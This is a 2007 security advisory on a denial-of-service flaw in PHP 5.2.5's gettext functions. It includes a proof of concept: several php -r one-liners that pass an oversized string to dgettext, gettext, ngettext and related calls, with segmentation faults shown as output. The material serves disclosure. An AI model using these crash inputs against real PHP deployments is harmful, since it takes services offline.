PHP <= 5.2.5 Gettext Lib Multiple Denial of service

2007-11-14T00:00:00
ID SECURITYVULNS:DOC:18404
Type securityvulns
Reporter Securityvulns
Modified 2007-11-14T00:00:00

Description

Application: PHP <= 5.2.5 Web Site: http://php.net Platform: Unix Bug: Multiple Denial of service fonction: Gettext Lib multiple Denial of service special condition: Default php-memory-limit Tested on : Debian 4.0 , Ubuntu , Freebsd with Suhosin 0.9.6.2


1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction ===========

"PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML."

====== 2) Bug ======

dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are vulnerable to a Denial of service

===== 3)Proof of concept =====

Proof of concept example :

root@unsafebox:/# uname -a Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux

root@unsafebox:/# php -v PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));' Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped)

======== 4)Greets ======== Benjilenoob,team soh, #futurezone, #soh

===== 5)Credits ===== laurent gaffiй